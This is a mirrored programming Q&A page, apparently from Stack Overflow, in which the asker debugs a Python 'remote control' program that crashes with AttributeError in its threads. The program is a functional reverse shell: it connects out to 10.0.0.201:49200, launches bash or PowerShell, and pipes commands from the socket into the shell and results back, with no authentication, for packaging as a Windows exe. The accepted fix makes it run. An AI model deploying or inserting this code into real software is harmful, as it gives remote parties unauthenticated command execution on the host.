简体   繁体   中英

subprocess Popen.stdin.write causes AttributeError

I'm working on a short, native (do NOT recommend an outside [non-native] module such as pexpect), cross-platform, insecure remote control application for python (Windows will use py2exe and an exe file). I am using start_new_thread for the blocking calls such as readline() . For some reason, however, I get this string of ugliness as my output:

Unhandled exception in thread started by <function read_stream at 0xb6918730>Unhandled exception in thread started by <function send_stream at 0xb69186f0>
Traceback (most recent call last):

Traceback (most recent call last):
  File "main.py", line 17, in read_stream
    s.send(pipe.stdout.readline())
AttributeError  File "main.py", line 14, in send_stream
    pipe.stdin.write(s.recv(4096))
AttributeError: 'NoneType' object has no attribute 'stdin'
: 'NoneType' object has no attribute 'stdout'

Here is my program (main.py):

#!/usr/bin/env python
import socket
import subprocess as sp
from thread import start_new_thread
from platform import system

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.201', 49200))
shell = 'powershell.exe' if system() == 'Windows' else '/bin/bash' # is this right?     
pipe = sp.Popen(shell, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
entered_command=False
def send_stream(): # send what you get from command center
        while True:
                pipe.stdin.write(s.recv(4096))
def read_stream(): # send back what is returned from shell command
        while True:
                s.send(pipe.stdout.readline())
start_new_thread(send_stream, ())
start_new_thread(read_stream, ())

Thanks for your help.

It turns out that the problem is that the program was trying to exit after the two start_new_thread calls because it had reached the end, and caused errors while trying to do so. So I replaced:

start_new_thread(send_stream, ())
start_new_thread(read_stream, ())

With:

start_new_thread(send_stream, ())
read_stream()

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM